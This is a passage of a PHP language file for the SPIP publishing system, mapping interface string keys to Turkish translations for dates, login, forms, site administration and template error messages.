'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'yarın',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@date@ @nomjour@',
'date_heures' => 'saat ',
'date_hier' => 'dün',
'date_il_y_a' => '@delai@ önce',
'date_jnum1' => '1.',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Pazar',
'date_jour_1_abbr' => 'Pzr.',
'date_jour_1_initiale' => 'g.',
'date_jour_2' => 'Pazartesi',
'date_jour_2_abbr' => 'Ptesi.',
'date_jour_2_initiale' => 'P.',
'date_jour_3' => 'Salı',
'date_jour_3_abbr' => 'Salı',
'date_jour_3_initiale' => 'S.',
'date_jour_4' => 'Çarşamba',
'date_jour_4_abbr' => 'Çarş.',
'date_jour_4_initiale' => 'Ç.',
'date_jour_5' => 'Perşembe',
'date_jour_5_abbr' => 'Perş.',
'date_jour_5_initiale' => 'P.',
'date_jour_6' => 'Cuma',
'date_jour_6_abbr' => 'Cuma',
'date_jour_6_initiale' => 'C.',
'date_jour_7' => 'Cumartesi',
'date_jour_7_abbr' => 'Ctesi',
'date_jour_7_initiale' => 'Ct.',
'date_jours' => 'gün',
'date_minutes' => 'dakika',
'date_mois' => 'ay',
'date_mois_1' => 'Ocak',
'date_mois_10' => 'Ekim',
'date_mois_11' => 'Kasım',
'date_mois_12' => 'Aralık',
'date_mois_2' => 'Şubat',
'date_mois_3' => 'Mart',
'date_mois_4' => 'Nisan',
'date_mois_5' => 'Mayıs',
'date_mois_6' => 'Haziran',
'date_mois_7' => 'Temmuz',
'date_mois_8' => 'Ağustos',
'date_mois_9' => 'Eylül',
'date_saison_1' => 'kış',
'date_saison_2' => 'ilkbahar',
'date_saison_3' => 'yaz',
'date_saison_4' => 'sonbahar',
'date_semaines' => 'hafta',
'dirs_commencer' => ' yüklemeye gerçekten başlamak için',
'dirs_preliminaire' => 'Ön bilgi : <b>Erişim haklarını ayarlayınız</b>',
'dirs_probleme_droits' => 'Erişim hakları sorunu ',
'dirs_repertoires_absents' => '<p><b>Şu dizinler bulunamadı : </b></p><ul>@bad_dirs@</ul> </b>
<p>Büyük küçük harf hatasına bağlı olabilir.
Dizinlerin küçük büyük harflerle yazılışlarının yukarıda gösterilenlerle uyuştuğunu kontrol edin; eğer uyuşmuyorsa FTP programınızla dizin isimlerini düzeltin.</p>
<p>Bu işlemi yaptığınızda ',
'dirs_repertoires_suivants' => '<p><b>Aşağıdaki dizinlere yazma izni yoktur : </b></p><ul>@bad_dirs@.</ul>
<p>Bu sorunu çözmek için FTP programınızla her bir dizine erişim haklarını düzenleyin. Bu yordam, kurulum kitapçığında detaylı biçimde açıklanmıştır./p>
<p>Bu işlemi yaptığınızda ',
'double_occurrence' => 'Çift tekrar ', # MODIF
// E
'en_cours' => 'işlenmekte',
'envoi_via_le_site' => 'Site üzerinden gönder',
'erreur' => 'Hata',
'erreur_balise_non_fermee' => 'son etiket kapatılmamış :',
'erreur_texte' => 'hata(lar)',
'etape' => 'Aşama',
// F
'fichier_introuvable' => '@fichier@ dosyası bulunamadı',
'form_deja_inscrit' => 'Zaten kayıtlısınız.',
'form_email_non_valide' => 'E-posta adresiniz geçersiz.',
'form_forum_access_refuse' => 'Artık bu siteye erişim izniniz yok.',
'form_forum_bonjour' => 'Merhaba @nom@,',
'form_forum_email_deja_enregistre' => 'Bu e-posta adresi zaten kayıtlı, kullanmakta olduğunuz şifrenizi kullanmaya devam edebilirsiniz.',
'form_forum_identifiant_mail' => 'Yeni tanımlayıcınız e-posta yoluyla gönderildi.',
'form_forum_identifiants' => 'Kişisel tanımlayıcılar',
'form_forum_indiquer_nom_email' => 'Buraya isminizi ve e-posta adresinizi giriniz. Yeni tanımlayıcınız size bir e-posta ile hemen gönderilecektir.',
'form_forum_login' => 'kullanıcı ismi :',
'form_forum_message_auto' => '(bu otomatik bir iletidir)',
'form_forum_pass' => 'şifre :',
'form_forum_probleme_mail' => 'E-posta sorunu : tanımlayıcı gönderilemiyor.',
'form_forum_voici1' => '"@nom_site_spip@" (@adresse_site@) site yaşamına katılabilmek için tanımlayıcılarınız :',
'form_forum_voici2' => '"@nom_site_spip@" (@adresse_login@) sitesinde makale yayınlayabilmeniz için gereken kimlik bilgileriniz :',
'form_indiquer_email' => 'Lütfen e-posta adresinizi belirtiniz.',
'form_indiquer_nom' => 'Lütfen isminizi belirtiniz.',
'form_indiquer_nom_site' => 'Lütfen sitenizin ismini belirtiniz.',
'form_pet_deja_enregistre' => 'Bu site zaten kayıtlı',
'form_pet_signature_pasprise' => 'İmzanız dikkate alınmadı.',
'form_prop_confirmer_envoi' => 'Gönderiyi onayla',
'form_prop_description' => 'Tanım / Yorum',
'form_prop_enregistre' => 'Öneriniz kaydedildi, sitenin sorumluları tarafından onaylandıktan sonra çevrimiçi yayınlanacak.',
'form_prop_envoyer' => 'Bir ileti gönder',
'form_prop_indiquer_email' => 'Lütfen geçerli bir e-posta adresi belirtiniz',
'form_prop_indiquer_nom_site' => 'Sitenin ismini giriniz.',
'form_prop_indiquer_sujet' => 'Bir konu belirtiniz',
'form_prop_message_envoye' => 'İleti gönderildi',
'form_prop_non_enregistre' => 'Öneriniz kaydedilmedi.',
'form_prop_sujet' => 'Konu',
'form_prop_url_site' => 'Sitenin Url adresi', # MODIF
'forum_non_inscrit' => 'Kayıtlı değilsiniz veya adresiniz veya şifreniz hatalı.',
'forum_par_auteur' => 'yazan @auteur@ ',
'forum_titre_erreur' => 'Hata...',
// I
'ical_texte_rss_articles' => 'Makalelerin «backend» dosyası şu adrestedir:',
'ical_texte_rss_articles2' => 'Sitenin her bir bölümünün makaleleri için «backend» dosyaları edinebilirsiniz :',
'ical_texte_rss_breves' => 'Ayrıca site haberlerini içeren bir dosya mevcuttur. Bir bölüm numarası belirterek, sadece bu bölümün haberlerini elde edebilirsiniz.',
'icone_a_suivre' => 'İzlenecek',
'icone_admin_site' => 'Site yönetimi',
'icone_agenda' => 'Ajanda',
'icone_aide_ligne' => 'Yardım',
'icone_articles' => 'Makaleler',
'icone_auteurs' => 'Yazarlar',
'icone_brouteur' => 'Hızlı gezinti',
'icone_configuration_site' => 'Yapılandırma',
'icone_configurer_site' => 'Sitenizi yapılandırın',
'icone_creer_nouvel_auteur' => 'Yeni bir yazar oluştur',
'icone_creer_rubrique' => 'Bölüm oluştur',
'icone_creer_sous_rubrique' => 'Alt-bölüm oluştur',
'icone_deconnecter' => 'Çıkış',
'icone_discussions' => 'Tartışmalar',
'icone_doc_rubrique' => 'Bölüm belgeleri',
'icone_ecrire_article' => 'Yeni bir makale yaz',
'icone_edition_site' => 'Yayın',
'icone_gestion_langues' => 'Dillerin yönetimi',
'icone_informations_personnelles' => 'Kişisel bilgiler',
'icone_interface_complet' => 'Tüm arayüz',
'icone_interface_simple' => 'Basit arayüz',
'icone_maintenance_site' => 'Site bakımı',
'icone_messagerie_personnelle' => 'Kişisel iletiler',
'icone_repartition_debut' => 'Dağılımı en başından itibaren göster',
'icone_rubriques' => 'Bölümler',
'icone_sauver_site' => 'Siteyi yedekle',
'icone_site_entier' => 'Tüm site',
'icone_sites_references' => 'Önerilen siteler',
'icone_statistiques' => 'Site istatistikleri',
'icone_suivi_activite' => 'Site yaşamını izle',
'icone_suivi_actualite' => 'Site gelişimi',
'icone_suivi_pettions' => 'Dilekçeleri izle / Yönet',
'icone_suivi_revisions' => 'Makale değişiklikleri',
'icone_supprimer_document' => 'Bu belgeyi sil',
'icone_supprimer_image' => 'Bu resmi sil',
'icone_tous_articles' => 'Tüm makaleleriniz',
'icone_tous_auteur' => 'Tüm yazarlar',
'icone_visiter_site' => 'Ziyaret et', # MODIF
'icone_voir_en_ligne' => 'Çevrimiçi göster',
'img_indisponible' => 'resim mevcut değil',
'impossible' => 'olanaksız',
'info_a_suivre' => 'İZLENECEK »',
'info_acces_interdit' => 'Erişim yasak',
'info_acces_refuse' => 'Erişim reddedildi',
'info_action' => 'Eylem : @action@',
'info_administrer_rubriques' => 'Bu bölümü ve alt-bölümleri yönetebilirsiniz',
'info_adresse_non_indiquee' => 'Denenecek bir adres belirtmediniz !',
'info_aide' => 'YARDIM :',
'info_ajouter_mot' => 'Bu sözcüğü ekle',
'info_annonce' => 'DUYURU',
'info_annonces_generales' => 'Genel duyurular :',
'info_article_propose' => 'Önerilen makale',
'info_article_publie' => 'Yayınlanan makale',
'info_article_redaction' => 'Yazılmakta olan makale',
'info_article_refuse' => 'Reddedilen makale',
'info_article_supprime' => 'Silinen makale',
'info_articles' => 'Makaleler',
'info_articles_a_valider' => 'Onaylanacak makaleler',
'info_articles_proposes' => 'Önerilen makaleler',
'info_auteurs_nombre' => 'yazar(lar) :',
'info_authentification_ftp' => 'Onay (FTP ile)',
'info_breves_2' => 'kısa haberler',
'info_connexion_refusee' => 'Bağlantı reddedildi',
'info_contact_developpeur' => 'Lütfen bir program geliştirici ile temasa geçiniz.',
'info_contenance' => 'Site içeriği :',
'info_contribution' => 'Forum katkıları', # MODIF
'info_copyright' => '@spip@, @lien_gpl@ GPL lisansı ile dağıtılan serbest bir yazılımdır.',
'info_copyright_doc' => 'Ayrıntılı bilgi için, bkz. <a href="@spipnet@">http://www.spip.net/fr</a>.', # MODIF
'info_copyright_gpl' => 'GPL lisansı altında',
'info_cours_edition' => 'Yazılmakta olan makaleleriniz',
'info_creer_repertoire' => 'Şu isimde bir dosya veya dizin oluşturunuz :',
'info_creer_repertoire_2' => '<b>@repertoire@</b> alt-dizini içerisinde, daha sonra :',
'info_creer_vignette' => 'otomatik ikon oluşturma',
'info_deplier' => 'Açılıp sergilenmesi',
'info_descriptif_nombre' => 'tanımlayıcı(lar) :',
'info_description' => 'Tanımlama :',
'info_description_2' => 'Tanımlama :',
'info_dimension' => 'Boyutlar :',
'info_ecire_message_prive' => 'Özel bir ileti yaz',
'info_email_invalide' => 'Geçersiz e-posta adresi.',
'info_en_cours_validation' => 'Yazılmakta olan makaleleriniz',
'info_en_ligne' => 'Şu anda çevrimiçi :',
'info_envoyer_message_prive' => 'Bu yazara özel bir ileti gönder',
'info_erreur_requete' => 'Aramada hata :',
'info_erreur_squelette2' => 'Hiçbir @fichier@ iskeleti müsait değil...',
'info_erreur_systeme' => 'Sistem hatası (hata no @errsys@)',
'info_erreur_systeme2' => 'Sabit disk dolu olabilir veya veritabanı hasar görmüş olabilir.<br />
<span style="color:red;">Veritabanını <a href=\'@script@\'>onarmayı deneyiniz </a>, veya sitenizi barındıran firmayı arayınız.</span>',
'info_fini' => 'Bitti !',
'info_format_image' => 'İkon yaratmak için kullanılabilecek resim formatları : @gd_formats@.',
'info_format_non_defini' => 'tanımsız format',
'info_grand_ecran' => 'Büyük ekran',
'info_image_aide' => 'YARDIM',
'info_image_process_titre' => 'İkon oluşturma yöntemleri',
'info_impossible_lire_page' => '<b>Hata !</b> Sayfa vekil (proxy) üzerinden <tt><html>@test_proxy@</html></tt> okunamıyor <tt>',
'info_installation_systeme_publication' => 'Yayın sistemi kurulumu...',
'info_installer_documents' => '@upload@ dizininde bulunan tüm belgeleri otomatik olarak kurabilirsiniz. ',
'info_installer_ftp' => 'Yönetici olarak (FTP ile) @upload@ dizinine dosya gönderip sonra onları buradan direkt olarak seçebilirsiniz. ',
'info_installer_images' => 'JPEG, GIF ve PNG formatında resimler yükleyebilirsiniz.',
'info_installer_images_dossier' => 'Buradan seçim yapabilmek için @upload@ dizinine resim yükleyiniz. ',
'info_interface_complete' => 'Tam arayüz',
'info_interface_simple' => 'Basit arayüz',
'info_joindre_document_article' => 'Bu makaleye ekleyebileceğiniz belgeler ',
'info_joindre_document_rubrique' => 'Bu bölüme ekleyebileceğiniz belgeler ',
'info_joindre_documents_article' => 'Makalenize ekleyebileceğiniz belgeler :',
'info_l_article' => 'makale',
'info_la_breve' => 'kısa haber',
'info_la_rubrique' => 'bölüm',
'info_langue_principale' => 'Sitenin ana dili',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ piksel',
'info_les_auteurs_1' => 'yazan @les_auteurs@ ',
'info_logo_format_interdit' => 'Sadece @formats@ formatındaki logolar kullanılabilir.',
'info_logo_max_poids' => 'Logolar @maxi@ dan daha küçük olmalıdır (bu dosyanın boyutu @actuel@).',
'info_mail_fournisseur' => 'isminiz@hizmet_veren_firma.com',
'info_message_2' => 'İLETİ',
'info_message_supprime' => 'İLETİ SİLİNDİ',
'info_mise_en_ligne' => 'Çevrimiçi yayın tarihi :',
'info_modification_parametres_securite' => 'güvenlik parametreleri değişikliği',
'info_mois_courant' => 'Ay içinde :',
'info_mot_cle_ajoute' => 'Şu anahtar sözcük eklendi > ',
'info_multi_herit' => 'Varsayılan dil :',
'info_multi_langues_soulignees' => '<u>Altı çizili dillerin</u> arayüzde tüm metinlerin çevirileri bulunmaktadır. Bu dilleri seçerseniz, kamu sitesinin bir çok elemanı (tarihler, formlar) otomatik olarak çevrilecektir. Altı çizili olmayan diller için ise bu elemanlar sitenin başlıca dilinde görüntülenecektir.', # MODIF
'info_multilinguisme' => 'Çok dillilik',
'info_nom_non_utilisateurs_connectes' => 'Bağlı kullanıcılar listesinde isminiz görünmüyor.',
'info_nom_utilisateurs_connectes' => 'Bağlı kullanıcılar listesinde isminiz görünüyor.',
'info_nombre_en_ligne' => 'Şu anda çevrimiçi :',
'info_non_resultat' => '"@cherche_mot@" için hiç sonuç yok',
'info_non_utilisation_messagerie' => 'Bu sitenin iç ileti sistemini kullanmıyorsunuz.',
'info_nouveau_message' => 'YENİ BİR İLETİNİZ VAR',
'info_nouveaux_messages' => '@total_messages@ YENİ MESAJINIZ VAR',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Bu bilgi zorunludur.',
'info_pense_bete' => 'HATIRLATMA',
'info_petit_ecran' => 'Küçük ekran',
'info_petition_close' => 'Dilekçe kapandı',
'info_pixels' => 'Piksel',
'info_plusieurs_mots_trouves' => ' "@cherche_mot@" için birçok anahtar sözcük bulundu',
'info_portfolio_automatique' => 'Otomatik portföy :',
'info_premier_resultat' => '[Toplam @total@ dan @debut_limit@ ilk sonuç]',
'info_premier_resultat_sur' => '[@debut_limit@ ilk sonuç / @total@ sonuç]',
'info_propose_1' => '[@nom_site_spip@] Öneriyor : @titre@',
'info_propose_2' => 'Önerilen makale
---------------',
'info_propose_3' => '"@titre@" makalesi yayınlanmak üzere önerildi.',
'info_propose_4' => 'Lütfen inceleyiniz ve görüşünüzü belirtiniz',
'info_propose_5' => 'bağlı olan forumda. Forumun adresi:',
'info_publie_01' => '"@titre@" makalesi @connect_nom@ tarafından onaylandı.',
'info_publie_1' => '[@nom_site_spip@] YAYINLANDI : @titre@',
'info_publie_2' => 'Yayınlanan makale
-----------------',
'info_rechercher' => 'Ara',
'info_rechercher_02' => 'Ara :',
'info_remplacer_vignette' => 'Varsayılan etiketi kişiselleştirilmiş bir logo ile değiştir :',
'info_sans_titre_2' => 'başlıksız',
'info_selectionner_fichier' => '@upload@ dizininden bir dosya seçebilirsiniz. ',
'info_selectionner_fichier_2' => 'Bir dosya seç :',
'info_supprimer_vignette' => 'Bu etiketi sil',
'info_symbole_bleu' => '<b>Mavi</b> sembol bir <b>hatırlatmayı</b> gösterir : yani, kişisel kullanımınız için bir iletidir.',
'info_symbole_jaune' => '<b>Sarı</b> sembol <b>tüm editörlere yönelik</b> bir duyuruyu gösterir : tüm yöneticiler tarafından değiştirilebilir ve tüm editörler tarafından görülebilir. ',
'info_symbole_vert' => 'Sarı sembol sitenin başka kullanıcılarıyla yapılan ileti alışverişlerini gösterir.',
'info_telecharger_nouveau_logo' => 'Yeni bir logo yükle :',
'info_telecharger_ordinateur' => 'Bilgisayarınızdan indiriniz :',
'info_tous_resultats_enregistres' => '[tüm sonuçlar kaydedildi]',
'info_tout_afficher' => 'Tümünü görüntüle',
'info_travaux_texte' => 'Bu site henüz konfigüre edilmedi. Lütfen daha sonra uğrayınız.',
'info_travaux_titre' => 'Site yapım aşamasında.',
'info_trop_resultat' => ' "@cherche_mot@" için çok fazla sonuç çıktı; lütfen aramayı netleştirin.',
'info_utilisation_messagerie_interne' => 'Bu sitenin iç ileti sistemini kullanıyorsunuz.',
'info_valider_lien' => 'Bu bağlantıyı onayla',
'info_verifier_image' => 'Resimlerinizin doğru iletildiğinden emin olunuz.',
'info_vignette_defaut' => 'Varsayılan ikon',
'info_vignette_personnalisee' => 'Kişiselleştirilmiş etiket',
'info_visite' => 'Ziyaret :',
'info_vos_rendez_vous' => 'İlerideki randevularınız',
'infos_vos_pense_bete' => 'Hatırlatmalarınız', # MODIF
// L
'lien_afficher_icones_seuls' => 'Sadece ikonları görüntüle',
'lien_afficher_texte_icones' => 'ikonları ve metni görüntüle',
'lien_afficher_texte_seul' => 'Sadece metni görüntüle',
'lien_liberer' => 'Serbest bırak',
'lien_liberer_tous' => 'Bu makaleleri serbest bırak', # MODIF
'lien_nouvea_pense_bete' => 'YENİ HATIRLATMA',
'lien_nouveau_message' => 'YENİ İLETİ',
'lien_nouvelle_annonce' => 'YENİ DUYURU',
'lien_petitions' => 'DİLEKÇE ',
'lien_popularite' => 'Popülerlik : @popularite@%',
'lien_racine_site' => 'SİTENİN KÖK DİZİNİ',
'lien_reessayer' => 'Tekrar dene',
'lien_repondre_message' => 'Bu iletiye yanıt ver',
'lien_supprimer' => 'Sil',
'lien_tout_afficher' => 'Tümünü görüntüle',
'lien_visite_site' => 'Bu siteyi ziyaret et',
'lien_visites' => '@visites@ ziyaret',
'lien_voir_auteur' => 'Bu yazarı görüntüle',
'ligne' => 'Satır',
'login' => 'Bağlantı',
'login_acces_prive' => 'Özel alana erişim',
'login_autre_identifiant' => 'Başka bir kullanıcı ismi ile bağlan',
'login_cookie_accepte' => 'Lütfen gezgininizi (en azından bu site için) bunları kabul edecek biçimde ayarlayınız.',
'login_cookie_oblige' => 'Kendinizi güvenli bir şekilde tanımlamak için çerezleri kabul etmelisiniz.',
'login_deconnexion_ok' => 'Bağlantıya son verildi.',
'login_erreur_pass' => 'Şifre hatası.',
'login_espace_prive' => 'Özel alan',
'login_identifiant_inconnu' => '"@login@" kullanıcı ismi tanınmıyor.',
'login_login' => 'Kullanıcı ismi :',
'login_login2' => 'Kullanıcı ismi :', # MODIF
'login_login_pass_incorrect' => '(Kullanıcı ismi veya şifre hatalı.)',
'login_motpasseoublie' => 'Şifreyi unuttum',
'login_non_securise' => 'Dikkat, bu form güvenli değil.
Eğer şifrenizin ağ üzerinde tesbit edilmesini istemiyorsanız,
lütfen gezgininizde Javascript’i çalıştırınız ve ',
'login_nouvelle_tentative' => 'Yeni deneme',
'login_par_ici' => 'Kayıt oldunuz... buradan devam ediniz...',
'login_pass2' => 'Şifre :',
'login_preferez_refuser' => '<b>Eğer çerezleri reddetmeyi tercih ediyorsanız,</b> başka (daha az güvenli) bir bağlantı yöntemi emrinizde :',
'login_recharger' => 'sayfayı tekrar yükle',
'login_rester_identifie' => 'Bir kaç gün tanımlanmış olarak kalayım',
'login_retour_public' => 'Kamusal siteye dön',
'login_retour_site' => 'Kamusal siteye dön',
'login_retoursitepublic' => 'Kamusal siteye dön',
'login_sans_cookiie' => 'Çerezsiz tanımlanma',
'login_sinscrire' => 'Kayıt ol',
'login_test_navigateur' => 'Gezgini dene / Tekrar bağlan',
'login_verifiez_navigateur' => '(Ancak gezginin şifrenizi belleğe almadığından emin olunuz...)',
// M
'masquer_colonne' => 'Bu sütunu sakla',
'masquer_trad' => 'çevirileri gizle',
'module_fichiers_langues' => 'Dil dosyaları',
// N
'navigateur_pas_redirige' => 'Gezgininiz yeniden yönlenmiyorsa, devam etmek için buraya tıklayınız.',
'numero' => 'Numara',
// O
'occurence' => 'Tekrarlanış',
'onglet_affacer_base' => 'Veritabanını sil',
'onglet_auteur' => 'Yazar',
'onglet_contenu_site' => 'Sitenin içeriği',
'onglet_evolution_visite_mod' => 'Ziyaretlerin gelişimi',
'onglet_fonctions_avances' => 'Gelişmiş işlevler',
'onglet_informations_personnelles' => 'Kişisel bilgi',
'onglet_interactivite' => 'Etkileşim özelliği',
'onglet_messagerie' => 'İleti sistemi',
'onglet_repartition_rubrique' => 'Bölümlere göre dağılım',
'onglet_save_restaur_base' => 'Veritabanını yedekle / Geri yükle',
'onglet_vider_cache' => 'Önbelleği boşalt',
// P
'pass_choix_pass' => 'Lütfen yeni şifrenizi seçiniz :',
'pass_erreur' => 'Hata',
'pass_erreur_acces_refuse' => '<b>Hata : </b> artık bu siteye erişiminiz yoktur.',
'pass_erreur_code_inconnu' => 'Hata : bu şifre bu siteye erişimi olan hiç bir ziyaretçiye uymuyor.',
'pass_erreur_non_enregistre' => 'Hata : @email_oubli@ adresi bu siteye kayıtlı değil. ',
'pass_erreur_non_valide' => 'Hata : @email_oubli@ e-posta adresi geçerli değil !',
'pass_erreur_probleme_technique' => 'Hata : teknik bir sorundan ötürü e-posta gönderilemiyor.',
'pass_espace_prive_bla' => 'Bu sitenin özel alanı,
kayıtlı ziyaretçilere açıktır. Kayıt olduktan sonra,
yazılmakta olan makalelere bakabilir, makale önerebilir
ve tüm forumlara katılabilirsiniz. ',
'pass_forum_bla' => 'Kayıtlı ziyaretçilere ayrılmış bir foruma
müdahale etmek istediniz. ',
'pass_indiquez_cidessous' => 'Daha önce kayıt olduğunuz e-posta adresinizi aşağıya belirtiniz.
Tekrar erişebilmek için gereken işlemi
belirten
bir e-posta alacaksınız. ',
'pass_mail_passcookie' => '(Bu otomatik bir iletidir)
@nom_site_spip@ (@adresse_site@)
sitesine tekrar erişebilmek için
lütfen şu adrese gidiniz :
@sendcookie@
O zaman yeni bir şifre girebilecek
ve tekrar siteye bağlanabileceksiniz. ',
'pass_mot_oublie' => 'Şifreyi unuttum',
'pass_nouveau_enregistre' => 'Yeni şifreniz kaydedildi.',
'pass_nouveau_pass' => 'Yeni şifre',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Şifremi unuttum',
'pass_quitter_fenetre' => 'Bu pencereyi terk et',
'pass_rappel_login' => 'Hatırlatma : kullanıcı isminiz « @login@ » dır.',
'pass_recevoir_mail' => 'Siteye erişiminizi yeniden nasıl kazanabileceğinizi belirten bir e-posta alacaksınız. ',
'pass_retour_public' => 'Kamu sitesine dönüş',
'pass_rien_a_faire_ici' => 'Burada yapılacak bir şey yok.',
'pass_vousinscrire' => 'Bu siteye kaydolmanız',
'precedent' => 'önceki',
'previsualisation' => 'Öngörüntüle',
'previsualiser' => 'Öngörüntüle',
// R
'retour' => 'Geri dön',
// S
'spip_conforme_dtd' => 'SPIP bu belgeyi DOCTYPE’e uygun buluyor :',
'squelette' => 'iskelet',
'squelette_inclus_ligne' => 'iskelet eklendi, satır',
'squelette_ligne' => 'iskelet, satır',
'stats_visites_et_popularite' => '@visites@ ziyaret; popülerlik : @popularite@',
'suivant' => 'sonraki',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bayt',
'texte_actualite_site_1' => 'Arayüze alışınca «',
'texte_actualite_site_2' => 'Tüm arayüz',
'texte_actualite_site_3' => '»’e tıklayarak daha fazla seçeneğe ulaşabilirsiniz.',
'texte_creation_automatique_vignette' => 'Bu sitede öngörüntüleme ikonlarının otomatik olarak yaratılması işlemi etkinleştirişmiştir. Eğer bu formdan hareket ederek @gd_formats@, formatlı resimler yüklerseniz, bunlara, en fazla @taille_preview@ piksel boyutunda bir ikon eşlik edecektir.',
'texte_documents_associes' => 'Aşağıdaki belgeler makale ile bağlantılı olup,
doğrudan makalenin içine dahil edilmemiştir. Kamu sitesinin sayfa düzenine göre,
sonradan belge eki olarak görülebilir.',
'texte_erreur_mise_niveau_base' => 'Güncelleme sırasında veritabanı hatası. @fichier@ resmi ulaşmadı (@id_article@ makalesi). Bu referansı kaydedip güncelemeyi tekrar deneyiniz ve resimlerin makalelerde görüldüğünden emin olunuz. ',
'texte_erreur_visiteur' => 'Özel alana, girişe izin vermeyen bir kullanıcı ismiyle erişmeyi denediniz.',
'texte_inc_auth_1' => '<b>@auth_login@</b> kullanıcı ismini girdiniz ancak veritabanında bu kullanıcı ismi yok/artık yok. Lütfen şunu deneyiniz',
'texte_inc_auth_2' => 'gezgininizi kapatıp tekrar çalıştırınız ve ',
'texte_inc_auth_3' => 'tekrar bağlanınız.',
'texte_inc_config' => 'Bu sayfalarda yapılan değişiklikler sitenizin işleyişi üzerinde büyük ölçüde etkilidir. SPIP sisteminin işleyişine aşina olmadığınız sürece müdahale etmemenizi öneririz. <br /><br /><b>Daha genel bir ifadeyle söylemek gerekirse bu sayfalarla ilgilenme işini sitenin Ağ Yöneticisi’ne bırakmanızı özellikle öneririz.</b>',
'texte_inc_meta_1' => 'Sistem <code>@fichier@</code> dosyasının yazılması sırasında bir hata ile karşılaştı. Lütfen, site yöneticisi olarak ',
'texte_inc_meta_2' => '(<code>ecrire/data/</code> dizinindeki) ',
'texte_inc_meta_3' => '<code>@repertoire@</code> dizinindeki yazma haklarını kontrol ediniz. ',
'texte_statut_en_cours_redaction' => 'Yazılıyor',
'texte_statut_poubelle' => 'Çöpe atıldı',
'texte_statut_propose_evaluation' => 'Değerlendirmeye alındı',
'texte_statut_publie' => 'Çevrimiçi yayınlandı',
'texte_statut_refuse' => 'Reddedildi',
'titre_ajouter_mot_cle' => 'BİR ANAHTAR-SÖZCÜK EKLE :',
'titre_cadre_raccourcis' => 'KISA YOLLAR :',
'titre_changer_couleur_interface' => 'Arayüz rengini değiştir',
'titre_image_admin_article' => 'Bu makaleyi yönetebilirsiniz',
'titre_image_administrateur' => 'Yönetici',
'titre_image_aide' => 'Bu eleman hakkında yardım',
'titre_image_auteur_supprime' => 'Silinmiş yazar',
'titre_image_redacteur' => 'Erişim hakkı olmayan yazar',
'titre_image_redacteur_02' => 'Yazar',
'titre_image_visiteur' => 'Ziyaretçi',
'titre_joindre_document' => 'BİR BELGE EKLE',
'titre_mots_cles' => 'ANAHTAR SÖZCÜKLER',
'titre_probleme_technique' => 'Dikkat : teknik bir sorun (SQL hizmet birimi) sitenin bu bölümüne erişimi engelliyor. Anlayışınız için teşekkürler.',
'titre_publier_document' => 'BU BÖLÜM ALTINDA BİR BELGE YAYINLA',
'titre_signatures_attente' => 'Onay bekleyen imzalar',
'titre_signatures_confirmees' => 'Onaylanmış imzalar',
'titre_statistiques' => 'Site istatistikleri',
'titre_titre_document' => 'Belge başlığı :',
'todo' => 'gelecek',
'trad_reference' => '(referans makale)', # MODIF
// Z
'zbug_balise_b_aval' => ' : B etiketinde sorun var',
'zbug_balise_inexistante' => 'hata @from@: #@balise@ komutu mevcut değil', # MODIF
'zbug_balise_sans_argument' => '@balise@ komutunda argüman eksik',
'zbug_boucle' => 'döngü',
'zbug_boucle_recursive_undef' => 'tanımsız tekrarlı döngü', # MODIF
'zbug_calcul' => 'hesaplama',
'zbug_champ_hors_boucle' => '@champ@ alanı döngü dışında',
'zbug_champ_hors_motif' => '@champ@ alanı @motif@ döngüsü dışında ', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'tanımsız kriter @critere@', # MODIF
'zbug_distant_interdit' => 'yasaklanmış dış veri dosyası', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'endekssiz bir tabloda tekrarlar var', # MODIF
'zbug_doublon_table_sans_index' => 'endekslenmemiş bir tabloda tekrarlanan bilgiler', # MODIF
'zbug_erreur_boucle_double' => 'DÖNGÜ@id@: çift tanımlı', # MODIF
'zbug_erreur_boucle_fermant' => 'DÖNGÜ@id@: kapatma etiketi eksik', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Döngü tümcesi hatalı', # MODIF
'zbug_erreur_compilation' => 'derleme hatası',
'zbug_erreur_execution_page' => 'sayfa işletilirken hata oluştu', # MODIF
'zbug_erreur_filtre' => 'Hata : <b>« @filtre@ »</b> filtresi tanımsız', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} sadece (FORUMS) veya (RUBRIQUES) için uygulanabilir', # MODIF
'zbug_erreur_squelette' => 'İskelette hata var',
'zbug_hors_compilation' => 'Derleme Dışı',
'zbug_info_erreur_squelette' => 'Sitede hata var',
'zbug_inversion_ordre_inexistant' => 'olmayan bir sıralama ters çevrilemez', # MODIF
'zbug_pagination_sans_critere' => 'kritersiz veya kendini çağıran döngüde kullanılan #PAGINATION {pagination} ', # MODIF
'zbug_parametres_inclus_incorrects' => 'Ekleme parametreleri hatalı', # MODIF
'zbug_profile' => 'Hesaplama süresi : @time@',
'zbug_resultat' => 'sonuç',
'zbug_serveur_indefini' => 'SQL hizmet birimi tanımsız', # MODIF
